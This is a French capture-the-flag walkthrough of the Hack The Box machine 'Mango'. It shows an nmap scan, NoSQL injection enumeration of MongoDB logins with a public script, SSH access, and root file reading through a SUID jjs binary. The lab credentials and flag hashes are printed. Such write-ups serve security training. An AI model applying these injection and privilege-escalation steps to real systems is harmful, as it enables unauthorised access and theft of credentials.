On se retrouve aujourd’hui pour le walkthrough de la machine “Mango” d’Hack The Box. Cette machine est la première de difficulté medium que j’ai faite, elle est de niveau abordable.
Première approche
Comme d’habitude, on peut commencer par faire un scan des ports avec nmap. On utilise l’option -A pour la détection d’os et des versions des services.
$ nmap -A 10.10.10.162
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-17 14:43 CEST
Nmap scan report for staging-order.mango.htb (10.10.10.162)
Host is up (0.035s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Sweet & Juicy
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/17%OT=22%CT=1%CU=31451%PV=Y%DS=2%DC=T%G=Y%TM=5E99A4A
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 34.54 ms 10.10.14.1
2 34.83 ms staging-order.mango.htb (10.10.10.162)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.06 seconds
On remarque ici le port 443 qui est ouvert, soit le port de l’HTTPS. On va alors essayer d’accéder à https://10.10.10.162. Après l’acceptation d’un certificat douteux, on accède à ce qui ressemble à un moteur de recherche.
On peut remarquer une ligne intéressante dans le résultat de nmap.
Nmap scan report for staging-order.mango.htb (10.10.10.162)
On retrouve également l’adresse “staging-order.mango.htb” dans le certificat que nous avons accepté.
On va alors modifier le contenu de notre fichier /etc/hosts.
echo "10.10.10.162 staging-order.mango.htb" >> /etc/hosts
On peut alors se rendre sur le site, et on y découvre un formulaire avec login et mot de passe.
Own user
Le nom de la box nous met sur la voie : c’est MongoDB qui se cache derrière ce site !
Après une rapide recherche, on trouve sur Github un exploit pour MongoDB (NoSQL) : https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
On utilise d’abord ce script pour trouver les différents utilisateurs.
$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep username -op login:login,submit:submit
Warning: No method given. Using POST as the method. (You can give the method with -m)
[...]
Pattern found that starts with 'a'
Pattern found: ad
Pattern found: adm
Pattern found: admi
Pattern found: admin
username found: admin
[...]
Pattern found that starts with 'm'
Pattern found: ma
Pattern found: man
Pattern found: mang
Pattern found: mango
username found: mango
[...]
On cherche ensuite les différents mots de passe.
$ python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -ep password -op login:login,submit:submit
Warning: No method given. Using POST as the method. (You can give the method with -m)
[...]
Pattern found that starts with 'h'
Pattern found: h3
Pattern found: h3m
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
[...]
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
[...]
On a donc 2 users et 2 mots de passe : on va essayer de se connecter en ssh en tant que mango avec un des deux mots de passe, puis utiliser l’autre pour se connecter en tant qu’admin.
$ ssh mango@10.10.10.162
mango@10.10.10.162's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Apr 17 14:36:00 UTC 2020
System load: 0.21 Processes: 116
Usage of /: 26.0% of 19.56GB Users logged in: 1
Memory usage: 12% IP address for ens33: 10.10.10.162
Swap usage: 4%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Apr 17 14:21:31 2020 from 10.10.14.205
mango@mango:~$ su admin
Password:
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
Les couples user:password sont donc “mango:h3mXK8RhU~f{]f5H” et “admin:t9KcS3>!0B#2”.
On récupère ainsi le flag user.
$ pwd
/home/mango
$ cat ../admin/user.txt
79bf31c6c6eb38a8567832f7f8b47e92
Own root
Maintenant qu’on a le flag user, on peut faire un petit peut d’énumération pour trouver un moyen de passer root.
Après quelques recherches, quelque chose attire mon attention lorsque je liste les binaires exécutables par l’utilisateur “admin”.
$ find / -type f -perm /6000 -ls 2>/dev/null
786500 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
786527 44 -rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
786585 28 -rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
786567 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
786551 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
66 40 -rwsr-xr-x 1 root root 40152 May 15 2019 /snap/core/7713/bin/mount
[...]
263423 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
274666 12 -rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
274590 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
266298 100 -rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
262664 36 -rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/pam_extrausers_chkpwd
262696 36 -rwxr-sr-x 1 root shadow 34816 Apr 5 2018 /sbin/unix_chkpwd
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
En effet, jjs va nous permettre d’exécuter du code JavaScript en lignes de commandes. On peut donc l’utiliser pour faire notre élévation de privilège via un reverse shell ou directement pour lire le contenu de /root/root.txt .
$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while ((line = br.readLine()) != null) print(line);
8a8ef79a7a2fbb01ea81688424e9ab15
Voici notre flag root, challenge terminé. Merci d’avoir suivi ce walkthrough et à bientôt !